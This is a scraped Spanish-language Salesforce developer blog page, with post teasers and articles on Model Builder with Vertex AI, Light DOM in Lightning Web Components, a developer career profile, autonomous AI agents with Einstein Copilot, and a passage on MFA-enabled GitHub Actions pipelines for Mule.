El versionado de la API de LWC es una excelente forma de garantizar la compatibilidad con versiones anteriores de los componentes existentes y, al mismo tiempo, permitir que los nuevos componentes adopten las nuevas características.
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Blog de desarrolladores de Salesforce
Ha llegado el momento de pasar de la herramienta de migración Ant a la experiencia de desarrollador más moderna y con soporte oficial mediante la CLI de Salesforce.
Las herramientas de migración Ant y la CLI de Salesforce son las dos herramientas que mejor se adaptan a sus necesidades
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Nuestra serie Dev Spotlight explora las vidas de desarrolladores individuales mientras comparten su viaje para convertirse en desarrolladores de Salesforce y lo que significa formar parte de nuestra comunidad mundial.
La serie Dev Spotlight explora las vidas de desarrolladores individuales mientras comparten su viaje para convertirse en desarrolladores de Salesforce y lo que significa formar parte de nuestra comunidad mundial
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En el mundo de la IA, que se desarrolla rápidamente, MuleSoft está evolucionando sus capacidades de integración, gestión de API e IA.
En el mundo de la IA, MuleSoft está evolucionando sus capacidades de integración, gestión de API e IA
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El shadow DOM nativo hará que tus componentes LWC estén más alineados con los estándares web, las nuevas características de los navegadores y un rendimiento mejorado.
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Construya pruebas de extremo a extremo rápidamente con dos elementos que hacen grande a UTAM: los objetos de página base (PO) y la extensión UTAM para Chrome.
Los objetos de página base (PO) y la extensión UTAM para Chrome son dos elementos que hacen grande a UTAM
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Configura y autentica tus modelos de IA en Einstein Copilot Studio, y emite tus predicciones en Data Cloud.
Data Cloud
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CodeGen, parte de la propia familia de modelos de lenguaje de gran tamaño (LLM) de Salesforce, es un LLM de código abierto para la comprensión y generación de código.
CodeGen, parte de la propia familia de modelos de lenguaje de gran tamaño (LLM) de Salesforce
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Aprenda a hacer que sus componentes web Lightning sean visualmente interactivos y fáciles de configurar en Experience Builder.
Los componentes web Lightning son fáciles de configurar en Experience Builder
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Recorre una lista de herramientas para utilizar DataWeave en diferentes escenarios, desde una aplicación de Mule con arrastrar y soltar hasta una herramienta de línea de comandos.
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Nuestra serie Dev Spotlight explora las vidas de desarrolladores individuales mientras comparten su viaje para convertirse en desarrolladores de Salesforce y lo que significa formar parte de nuestra comunidad mundial.
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Combine varias llamadas a la API en una única llamada a la API para simplificar su código y reducir el número de llamadas a la API que se contabilizan en su límite diario.
Las consultas SOQL anidadas son una forma de simplificar su código
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Diseña tu especificación en minutos usando clics, no código con el Diseñador Visual de APIs de MuleSoft.
Diseña tu especificación en minutos usando clics, no código con el Diseñador Visual de APIs de MuleSoft
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Mobile SDK 11.0 introduce autenticación biométrica, SSO multiaplicación mejorado y más actualizaciones para Android y iOS.
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Una visión general del aprendizaje automático, dos tipos populares de ML, y la clasificación de bosque aleatorio, un modelo de ML popular utilizado por los científicos de datos.
La clasificación de bosque aleatorio, un modelo de ML popular utilizado por los científicos de datos
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Las técnicas de ingeniería generativa, si se hacen bien, pueden ayudarle a hacer las cosas bien, mejor y, lo que es más importante, más rápido.
Las técnicas de ingeniería generativa pueden ayudarle a hacer las cosas bien, mejor y, lo que es más importante, más rápido
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La demanda de analistas de negocio de Salesforce ha crecido a un ritmo elevado. Las organizaciones de Salesforce han evolucionado y se han vuelto más complejas. Como resultado, existe una mayor necesidad de evaluar los cambios deseados y obtener una visión completa de la situación, para asegurarse de que todo el mundo está de acuerdo. Esta es la razón por la que las organizaciones deben buscar […]
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Model Builder, parte de Einstein Copilot Studio, es una plataforma fácil de usar que le permite crear y poner en funcionamiento modelos de IA en Salesforce. Model Builder es capaz de integrarse profundamente con plataformas de IA externas, como Google Cloud Vertex AI y Amazon SageMaker, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos de Salesforce Data Cloud.
Salesforce anunció previamente el lanzamiento de Model Builder con Amazon SageMaker en agosto de 2023. Hoy, nos complace anunciar que los modelos de Google Vertex AI ahora están disponibles de forma general en Model Builder. Como parte de esta última versión, Model Builder ahora admite la autenticación mediante las credenciales de la cuenta del servicio de Google, así como la ingestión de datos en streaming.
Estamos entusiasmados con esta nueva innovación de la asociación ampliada de Salesforce con Google Cloud, que consideramos que tiene un enorme potencial para los desarrolladores. Como enfatizó Kaushal Kurapati, vicepresidente senior de Producto, IA y Búsqueda de Salesforce:
“Con esta asociación con Google Cloud, Model Builder ofrece una manera conveniente para que los clientes aprovechen sus modelos Vertex AI en sus fuentes de datos, flujos de trabajo y aplicaciones de Salesforce y brinden experiencias personalizadas, continuando con la visión de construir una plataforma abierta de Salesforce AI con un ecosistema modelo robusto”.
Model Builder le permite conectarse fácilmente a modelos predictivos externos, como los de un proveedor de modelos externo o su propio modelo propietario, y utilizarlos en el flujo de trabajo en Salesforce. Por ejemplo, puede utilizar modelos predictivos para calificar clientes potenciales, recomendar productos o detectar la deserción.
La capacidad BYOM de Model Builder le permite integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real, y utilizar esa información de varias maneras, como enriquecer perfiles de clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales.
Estos son algunos de los beneficios de usar un modelo de Google Cloud Vertex AI con datos de Data Cloud en Model Builder:
Para obtener más información, mire nuestro breve vídeo .
En esta sección, analizamos brevemente el flujo de trabajo de la aplicación utilizando Model Builder.
En el flujo de trabajo que se muestra arriba, el conector Python brinda a Vertex AI acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar datos, y realizar tareas de ingeniería de características para el desarrollo y la inferencia de modelos de IA utilizando la plataforma Vertex AI.
Tenga en cuenta que si se realiza una autenticación basada en clave API, se necesita una puerta de enlace API delante del punto final de Vertex AI.
La versión más reciente de Model Builder ahora permite utilizar las credenciales de la cuenta del servicio de Google para la autenticación. Esto se suma a los métodos de autenticación JWT y basados en claves existentes. Para utilizar un flujo de token al portador JWT, ingrese su correo electrónico de la cuenta de servicio, ID de clave privada y clave privada de su cuenta de Google Cloud como se muestra a continuación.
La última versión de Model Builder le permite activar automáticamente una inferencia cuando los datos asignados a la variable de entrada del modelo se cambian en el objeto del modelo de datos de origen (DMO). También ofrecemos inferencia por lotes, pero debe hacer clic en el botón Actualizar manualmente para activar nuevas inferencias. Con la inferencia de transmisión, las nuevas inferencias se activan solo cuando hay un cambio en la variable de entrada.
Para habilitar la inferencia de transmisión, deberá marcar la casilla Sí en ¿Actualizar modelo cuando se actualizan los datos? Como se muestra abajo.
También puede especificar cuáles de las funciones de entrada deben actualizarse seleccionando Sí en el menú desplegable Actualizar puntuación .
Hay dos formas de consumir predicciones: usar acciones invocables en Flow y Apex, o usar Query API para realizar análisis ad hoc.
A continuación se muestra un ejemplo de cómo utilizar acciones invocables para modelos de Model Builder en Flow. Una vez que tenga un modelo activado en Model Builder, seleccione Nueva acción → Nube de datos y luego haga clic en el nombre del modelo deseado.
La captura de pantalla siguiente muestra un flujo de ejemplo que utiliza una acción invocable para crear recomendaciones de productos para un cliente. Aquí, un administrador usa Flow Builder para recorrer los registros individuales unificados y verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Model Builder y recomienda el siguiente mejor producto a un cliente.
Esta acción invocable también se puede invocar en Apex. Vea el ejemplo a continuación.
<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('param_variable_1', '10');
action.setInvocationParameter('param_variable_2', '20');
action.setInvocationParameter('param_variable_3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>
Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .
Query API es otra forma rápida de obtener puntuaciones de predicción para datos que residen en Data Cloud. Con Query API, puede utilizar el punto final de inferencia y llamar a funciones de predicción para probar el punto final. Vea el ejemplo a continuación.
Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .
Model Builder es una plataforma de IA fácil de usar que permite a los equipos de ingeniería y ciencia de datos crear, entrenar e implementar modelos de IA utilizando plataformas y datos externos en Data Cloud. Las plataformas externas incluyen Google Cloud Vertex AI, Amazon SageMaker y otros servicios de IA predictivos o generativos. Una vez que esté listo, podrá utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras aplicaciones en Salesforce.
Para obtener más información sobre cómo puede mejorar su estrategia de IA utilizando Model Builder, asista a nuestro seminario web gratuito con expertos en IA de Salesforce y Google Cloud.
Daryl Martis es el director de producto de Salesforce de Einstein. Tiene más de 10 años de experiencia en planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas AI/ML y soluciones en la nube. Síguelo en LinkedIn o Twitter .
Ashish Thapliyal es director sénior de producto en Salesforce y actualmente dirige varias áreas de productos de la plataforma Einstein AI. Síguelo en LinkedIn o Twitter .
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Light DOM es una función de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (código abierto) y todas las versiones de la aplicación móvil Salesforce desde Summer '23 .
Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulación y seguridad sólidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una característica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.
Usemos un componente web Lightning muy simple como ejemplo.
<dx-code-block title language="html" code-block="
Hello Codey!
«>
En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Además, no permite que el código JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.
Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.
<dx-code-block title language="html" code-block="
Hello Codey!
«>
Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitrión en lugar de a su árbol de sombra. Luego puede acceder al marcado desde otros componentes de la página como cualquier otro contenido en el host del documento que no esté protegido por Shadow DOM.
Los componentes DOM ligeros permiten el uso de API de consulta de navegador estándar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .
O más simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .
<dx-code-block title language="html" code-block="
Hello Codey!
«>
Light DOM es una opción para cada componente individual. Sus efectos no se aplicarán a otros componentes a menos que también opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.
Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador estándar, aplicar estilos globales o necesita más flexibilidad para implementar las mejores prácticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con más profundidad en la siguiente sección.
No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulación de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideración.
Light DOM permite varios casos de uso que anteriormente no eran compatibles.
Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de análisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.
Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.
<dx-code-block title language="html" code-block="
«>
Tenga en cuenta que, aunque el párrafo consultado pertenece al componente helloCodey , podemos acceder a él con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habría devuelto null .
También puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso estático en la página, siempre y cuando todos los componentes ancestros estén habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso estático de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.
Otro ejemplo en el que esto puede resultar útil es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un único componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.
Esta implementación facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarquía y también la implementación de la accesibilidad. Además, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.
Light DOM también facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la página. La inyección de estilos globales a través de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.
Por ejemplo, definamos un componente colorChanger de la siguiente manera.
<dx-code-block title language="html" code-block="
«>
El color de fondo azul se aplicará a los párrafos de todas las instancias del componente helloCodey en la página, ya que está habilitado para DOM claro.
En la mayoría de los casos, no querrás que tu estilo se filtre a otros componentes. Eso todavía es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance está escrito exactamente igual que el CSS normal, pero solo se aplicará a ese componente sin filtrarse.
Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos estáticos en una página de Lightning Experience o un sitio de Experience Cloud, se les quitará el alcance y se aplicarán tanto a los componentes DOM claros como también a los componentes DOM de sombra, ya que la sombra sintética no evitará que se filtren. Esta es una limitación que se solucionará una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa está habilitada, solo los componentes habilitados para DOM claro heredarán los estilos globales.
Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores prácticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.
<dx-code-block title language="html" code-block="
«>
<dx-code-block title language="html" code-block="
«>
<dx-code-block title language="html" code-block="
«>
Tenga en cuenta que Salesforce está trabajando actualmente con el W3C para agregar nuevos estándares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no será necesario. Como parte de nuestros esfuerzos de accesibilidad, también patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber más sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .
La siguiente tabla resume los casos de uso y dónde se admiten.
| Experiencia en la nube | Experiencia relámpago | Aplicaciones móviles de Salesforce | LWC OSS/LWR en Node.js* | |
| Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes. | Sí | Sí | Sí | Sí |
| Implementación más sencilla de componentes profundamente anidados | Sí | Sí | Sí | Sí |
| Estilo global | Sí | No | No | Sí |
| Implementación más flexible de las mejores prácticas de accesibilidad | Sí | Sí | Sí | Sí |
*Si se utiliza DOM de sombra nativo en lugar de sombra sintética . La sombra nativa es la opción predeterminada para LWC OSS y LWR en Node.js.
Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:
En esta publicación de blog, revisamos qué es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qué componentes habilitarán la función. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar tú mismo.
Para obtener más información sobre DOM ligero en la plataforma Salesforce, lea la documentación o, si está trabajando fuera de la plataforma, lea la documentación OSS .
Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migración.
Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .
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La desarrolladora de Salesforce, Hema Kumar , siempre había soñado con una carrera en el sector tecnológico, pero las circunstancias familiares le impidieron cumplir ese sueño. A pesar de una oferta de una buena facultad de ingeniería lejos de casa, tuvo que obtener un título en ciencias en la universidad local.
Cuando comenzó la pandemia de COVID-19, Hema había estado buscando trabajo como asistente de enseñanza mientras trabajaba a tiempo completo como compradora de viviendas en ASDA. La enviaron a casa durante el encierro y quería dedicar su tiempo a hacer algo productivo. El cuñado de Hema trabajaba en Accenture y le sugirió que explorara Salesforce a través de Trailhead , la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades más demandadas y relevantes de la actualidad, obtener credenciales dignas de un currículum y conectarse a redes globales. oportunidades.
" Debido a la naturaleza interactiva de Trailhead", recuerda Hema, "y al gran apoyo de los grupos Trailblazer, pronto me sentí parte de Salesforce Ohana". Continuó aprendiendo en Trailhead con resultados impresionantes: hasta la fecha, completó 43 senderos, obtuvo 316 insignias y cinco superbadges, y acumuló 196.000 puntos. El arduo trabajo de Hema también le valió cuatro certificaciones de Salesforce , incluidas Administradora y Creadora de aplicaciones , lo que inicialmente la llevó a considerar la carrera profesional de Administradora de Salesforce.
Debido a la naturaleza interactiva de Trailhead y al gran apoyo de los grupos Trailblazer, pronto me sentí parte de Salesforce Ohana.
Luego, Hema encontró un curso para desarrolladores de Salesforce impartido por FDM , un socio de Salesforce Workforce Development, y decidió inscribirse. El extenso curso de 12 semanas le enseñó habilidades de desarrollo esenciales e incluyó práctica práctica, proyectos y una evaluación exhaustiva. Ella lo recuerda como “emocionante, desafiante y muy intenso” y, a través de perseverancia y dedicación, completó con éxito el programa.
Después de graduarse del curso FDM, Hema tardó aproximadamente un año en conseguir su primer trabajo como desarrolladora. FDM la ayudó a conectarse con empleadores de Salesforce y comenzó a entrevistarse con National Grid ESO para un puesto como desarrolladora junior de Salesforce. Consiguió el trabajo y desde entonces se ha convertido en uno de los miembros clave del equipo de desarrollo de Salesforce de su empresa. “Gracias al equipo de FDM por apoyarme”, dice, “y gracias a National Grid por brindarme esta oportunidad y creer en mí”.
El papel de Hema en National Grid gira en torno al apoyo al desarrollo, la personalización y la configuración como parte de la entrega de DevOps de su equipo. La mayor parte de su trabajo incluye la creación de objetos, campos, reglas de validación, flujos, clases de Apex y desencadenadores. Además, recientemente comenzó a trabajar para mejorar sus Lighting Web Components (LWC). Hema también cree que las buenas habilidades de comunicación son esenciales para una colaboración eficaz en equipo y para mantener a todos actualizados sobre el estado de los proyectos individuales, los riesgos y otras inquietudes.
Para Hema, Salesforce le ha brindado un camino para generar confianza en sus habilidades y hacer realidad su sueño. Ella recomienda la misma experiencia a “cualquiera que sea dedicado, disciplinado, pueda administrar el tiempo con criterio y esté lleno de entusiasmo por aprender”.
Además de la sólida plataforma de aprendizaje Trailhead, Salesforce ofrece oportunidades de tutoría, una comunidad global de desarrolladores Trailblazer de Salesforce y eventos de Salesforce como formas de interactuar con sus pares. Los nuevos desarrolladores pueden beneficiarse de la comunidad al encontrar información útil, solicitar ayuda oportuna u obtener asesoramiento profesional.
Lo que más le gusta a Hema de una carrera profesional dentro del ecosistema de Salesforce es la naturaleza integral del soporte en cada paso del camino. “Es un paquete completo”, afirma, “desde el inicio de mi aprendizaje hasta conseguir mi primer trabajo, no tuve que buscar ayuda o consejo en ningún otro lugar”.
La historia de Hema destaca cómo Salesforce ayuda a personas técnicas y no técnicas a alcanzar sus objetivos. Y añade: "Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes".
Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes.
Para conocer desarrolladores como Hema y ampliar sus habilidades técnicas, únase a la comunidad de desarrolladores de Salesforce y sea parte de la conversación sobre todo lo relacionado con el desarrollo de Salesforce.
Christie Fidura es la directora de participación de desarrolladores globales de Salesforce. En este puesto, busca involucrar y elevar a la comunidad de desarrolladores y trabajar directamente con ellos para comprender sus desafíos, preocupaciones, logros y sus inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en www.salesforce.com/devcommunity . Christie, community manager certificada y comercializadora galardonada con múltiples premios, cree en el buen código, la comunidad y la igualdad.
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El panorama de la IA está cambiando a un ritmo tan rápido que las tecnologías futuristas como la IA autónoma ya están mucho más cerca de lo que piensas. Esto se debe a la forma en que los grandes modelos de lenguaje (LLM) están comenzando a incorporarse en casi todas las formas en que interactúa con las aplicaciones. Para los desarrolladores, esto supone un cambio en la forma en que abordamos la creación de aplicaciones, desde las formas en que las reunimos hasta la creación con una UX conversacional completamente nueva.
En esta publicación de blog, veremos cómo los agentes autónomos incorporan la IA a la forma en que funcionan las aplicaciones y, al mismo tiempo, nos acercan a un mundo autónomo.
En nuestro panorama tecnológico, los agentes son sistemas avanzados que aprovechan el poder de los modelos lingüísticos para razonar y tomar decisiones. Lo que los diferencia de otro bot o marco es el hecho de que los agentes pueden realizar tareas en su nombre utilizando herramientas y memoria.
Las herramientas son extensiones de las capacidades de un modelo de lenguaje, que cierran brechas en su conocimiento y le permiten interactuar con fuentes de datos externas o recursos computacionales. Con estas herramientas, un modelo de lenguaje puede obtener datos en tiempo real, ejecutar tareas y utilizar los resultados para informar sus acciones posteriores. Por ejemplo, si un modelo de lenguaje conoce información solo hasta una fecha determinada, las herramientas pueden proporcionarle información más actualizada de la web, bases de datos u otras fuentes externas.
La memoria proporciona a los agentes la capacidad de recordar interacciones pasadas, lo que puede ser esencial para la continuidad de las tareas y el aprendizaje de acciones anteriores. Esta memoria puede ser de corta duración, centrándose en interacciones recientes, o de largo plazo, recordando eventos o patrones pasados importantes que son relevantes para situaciones actuales.
Juntos, estos elementos transforman un modelo de lenguaje en un agente que no sólo puede comprender y generar texto, sino también actuar sobre esa comprensión en contextos del mundo real. Dichos agentes pueden ejecutar soluciones de forma autónoma para los usuarios, pero también pueden integrar la intervención humana, especialmente en escenarios donde existen incertidumbres o excepciones.
Se han creado muchos marcos para respaldar el avance de los agentes, siendo algunos de los más populares AutoGPT y LangChain . Generalmente, los agentes siguen un patrón similar: el marco ReAct para razonar y actuar en modelos lingüísticos .
Este marco consta de una serie de pasos:
Este proceso es el que empieza a hacer autónomo al agente. Al confiar en el LLM para pensar en la respuesta y determinar las acciones apropiadas necesarias, actúa por sí solo para crear el resultado deseado.
Usando LangChain como ejemplo, digamos que queremos crear una aplicación que permita a un cliente gestionar sus pedidos. Primero, podríamos darle a la aplicación acceso a nuestra base de datos de pedidos, base de datos de clientes y API de socios de envío. Luego, configuraríamos una serie de herramientas a las que puede acceder la aplicación para consultar datos, actualizarlos y utilizar IA generativa para redactar una respuesta.
Este agente de gestión de pedidos dispone de seis herramientas que puede utilizar “dentro de su dominio de conocimiento”:
Veamos ahora cómo un agente podría manejar casos de uso relacionados con la gestión de pedidos. Por ejemplo, ¿cómo puede el agente ayudar a un usuario a obtener una actualización sobre el estado de su pedido?
En este escenario, el agente pudo tomar las herramientas que le proporcionamos y determinar el pedido y los parámetros que necesitan para crear el resultado correcto para el usuario, en este caso, toda su información de pedido y envío. Lo que es importante tener en cuenta aquí es que el usuario puede hacerle al agente cualquier pregunta sobre su pedido y el agente puede usar IA para razonar y usar las herramientas en el orden que necesite.
Como desarrollador, su función se centra más en crear las herramientas y permitir que el agente administre la orquestación.
El desafío ético con los agentes autónomos es que no hay ningún ser humano involucrado cuando se trata de ejecutar las acciones. En Salesforce, estamos comprometidos con el uso ético de la IA y queremos dejarlo claro en nuestras implementaciones de este tipo de tecnología. Ciertas reglas exigen que una persona sea responsable de tomar la decisión final en asuntos con consecuencias legales o de impacto comparable, incluida la contratación laboral, la aprobación de préstamos, las admisiones educativas y las sugerencias en justicia penal. Esta insistencia en la supervisión humana, en lugar de decisiones automatizadas, tiene como objetivo identificar y reducir mejor los posibles sesgos y daños.
En Dreamforce este año, les dimos una idea de cómo será el futuro de Salesforce y la IA autónoma en la plataforma Einstein 1. Einstein Copilot es nuestra respuesta a un asistente conversacional de IA generativa basado en agentes que utiliza habilidades y acciones para guiar a los usuarios a través de la interacción con Salesforce. Esto introduce un paradigma de desarrollo completamente nuevo para Salesforce, uno en el que estamos creando piezas de funcionalidad más pequeñas que pueden ser orquestadas por Einstein Copilot.
Si bien existen varias similitudes entre Copilot y un marco de agente de código abierto, la verdadera diferencia es el acceso de Copilot a toda la plataforma de metadatos de Salesforce. No sólo eso, sino que el alcance es mucho mayor. En lugar de agentes individuales, tienes muchas habilidades , y en lugar de herramientas tienes acciones .
Por ejemplo, si desea actualizar un pedido utilizando Copilot, deberá crear una habilidad de gestión de pedidos. Con otros marcos, necesitarías crear un agente completo para la gestión de pedidos.
Cuando se trata de acciones, usted tiene el poder de la Plataforma Einstein 1 detrás de usted. Podrá utilizar Apex, Flow, las numerosas API de plataforma, SOQL y mucho más para brindarle a su habilidad la capacidad de reunir datos desde cualquier lugar. También tiene acceso directo a los datos de toda la plataforma.
Estas habilidades y acciones se reúnen en Einstein Copilot Studio , que le permite ensamblar flujos, indicaciones, Apex y más en colecciones de funcionalidades.
Actualmente existen tres herramientas dentro de Einstein Copilot Studio:
Juntos, podrán crear agentes potentes en Salesforce que puedan usar su código para responder preguntas y ayudar a los usuarios.
Una gran ventaja de Einstein Copilot es Einstein Trust Layer. Trust Layer proporciona un entorno seguro para el procesamiento de datos a través de un modelo de lenguaje grande, lo que garantiza que los datos del usuario permanezcan confidenciales al enmascarar información de identificación personal, verificar la salida en busca de contenido inapropiado y garantizar que no haya persistencia de datos fuera de Salesforce.
Trust Layer se ejecuta a través de un proceso de varios pasos para garantizar que los datos estén fundamentados y enmascarados antes de ser procesados por un proveedor de LLM externo, y proporciona una puerta de enlace segura para interactuar con dichos LLM. Una vez que se ha generado una respuesta, la verifica en busca de contenido tóxico y desenmascara los datos antes de presentárselos al usuario. Puede ver más de cerca la capa de confianza en nuestra publicación de blog Dentro de la capa de confianza de Einstein .
La IA autónoma se hace realidad mucho más cerca a través de agentes, lo que marca el comienzo de una nueva era de tecnología en la que el razonamiento y la toma de decisiones se potencian con herramientas y memoria. Einstein Copilot de Salesforce introduce este enfoque impulsado por agentes en la plataforma, ofreciendo un asistente de IA conversacional que guía a los usuarios, aprovecha los vastos metadatos de Salesforce y garantiza la integridad de los datos a través de Einstein Trust Layer. Este cambio transformador significa no sólo una evolución en las interacciones de IA, sino también una promesa de experiencias seguras, eficientes y fluidas para los usuarios de Salesforce.
Stephan Chandler-García es el director de contenido estratégico de Salesforce. Ha estado en el ecosistema de Salesforce durante más de 10 años como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, sígalo en X (Twitter) o GitHub .
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La mayoría de las cuentas empresariales de Anypoint Platform requieren que utilice mecanismos de autenticación multifactor (MFA) para mayor seguridad. Esto significa que, además de su nombre de usuario y contraseña habituales, necesitará un paso adicional para autenticarse (por ejemplo, una aplicación de autenticación en su teléfono).
Cuando utiliza canalizaciones de CI/CD para sus aplicaciones Mule y MFA está habilitado en su cuenta, la configuración para autenticarse usando el complemento Mule Maven será diferente que si solo estuviera usando su nombre de usuario y contraseña. Hay más pasos que debe seguir desde su cuenta de Anypoint Platform para habilitar sus canales de CI/CD con este método de autenticación.
En esta publicación, aprenderá cómo configurar una canalización de GitHub Actions para que funcione con su cuenta habilitada para MFA desde Anypoint Platform.
Dado que usar el nombre de usuario y la contraseña de su plataforma Anypoint no es suficiente para autenticarse en el proceso, debe crear una aplicación conectada para usar sus credenciales (ID/Secreto). Para crearlo, vaya a su cuenta de Anypoint Platform y navegue hasta Gestión de acceso > Aplicaciones conectadas > Crear aplicación .
Asigne un nombre a su aplicación para identificarla de otras que pueda crear. Por ejemplo, github-actions . Seleccione el tipo La aplicación actúa por sí sola y haga clic en el botón Agregar ámbitos .
Seleccione los siguientes 10 ámbitos.
Haga clic en Siguiente . Seleccione su grupo empresarial y haga clic en Siguiente . Seleccione su entorno (por ejemplo, Sandbox) y haga clic en Siguiente . Revise que los alcances sean correctos y haga clic en Agregar alcances . Haga clic en Guardar .
Una vez creada la aplicación, asegúrese de copiar tanto el ID como el Secreto . Los utilizará en la configuración de la canalización como método de autenticación.
Vaya a su repositorio de GitHub. Haga clic en la pestaña Configuración > Secretos y variables > Acciones > Nuevo secreto del repositorio . En el campo de nombre, agregue CONNECTED_APP_CLIENT_ID . En el campo secreto, agregue la identificación real que acaba de copiar en el paso anterior. Repita este paso para crear otro secreto con el secreto real que copió en el paso anterior. Utilice el nombre CONNECTED_APP_CLIENT_SECRET .
De vuelta en el código de su aplicación Mule, cree una carpeta .github en el nivel raíz. Dentro de esta carpeta, cree otra carpeta llamada workflows . Dentro de esta carpeta, cree un archivo build.yml con el siguiente contenido: mule-mfa-cicd-build.yml . Tenga en cuenta que la sucursal main se utiliza en la línea 5. Si su sucursal tiene un nombre diferente, asegúrese de actualizar esta configuración.
En este archivo, describimos los pasos para generar el archivo JAR de nuestra aplicación Mule e implementarlo en nuestra cuenta de Anypoint Platform usando GitHub Actions. Observe que estamos usando los secretos creados previamente en el último paso para pasarlos a nuestro proyecto a través de Maven. Aquí declaramos dos variables de entorno Java ( client.id y client.secret ) para copiar las credenciales de nuestra aplicación de los secretos de GitHub para que el archivo pom.xml pueda usarse más adelante.
En su proyecto Mule, abra su archivo pom.xml. Localice el complemento org.mule.tools.maven en project/build/plugins . Agregue la siguiente configuración a este complemento.
